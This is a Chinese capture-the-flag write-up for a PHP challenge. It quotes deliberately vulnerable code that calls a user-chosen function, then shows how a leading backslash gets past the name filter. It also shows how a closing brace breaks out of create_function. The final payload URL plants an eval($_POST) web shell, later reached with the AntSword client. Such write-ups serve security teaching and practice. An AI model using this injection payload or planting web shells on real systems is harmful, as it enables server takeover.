[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP-create_function | 2 |
[题目考点]:
create_function ( string args , string args , string code )
[Flag格式]:
SangFor{wWx5dEGHHhDUwmST4bpXwfjSzq43I6cz}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2085
[题目writeup]:
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match(’/[1]*$/isD’, $action)) {
show_source(FILE);
} else {
$action(’’, $arg);
}
分析代码逻辑,思路还算是比较清晰,正则很明显,就是要想办法在函数名的头或者尾找一个字符,不影响函数调用。
在PHP的命名空间默认为\
,所有的函数和类都在\
这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果在其他namespace里调用系统类,就必须写绝对路径这种写法。
紧接着就到了如何只控制第二个参数来执行命令的问题了,后来找到可以用create_function
来完成,create_function
的第一个参数是参数,第二个参数是内容。
create_function('$a,$b','return 111')
==>
function a($a, $b){
return 111;
}
然后执行,如果我们想要执行任意代码,就首先需要跳出这个函数定义。
create_function('$a,$b','return 111;}phpinfo();//')
==>
function a($a, $b){
return 111;}phpinfo();//
}
这样一来,我们想要执行的代码就会执行
/?action=\create_function&arg=1;}eval($_POST['123']);//
蚁剑连接获取flag
-
a-z0-9_ ↩︎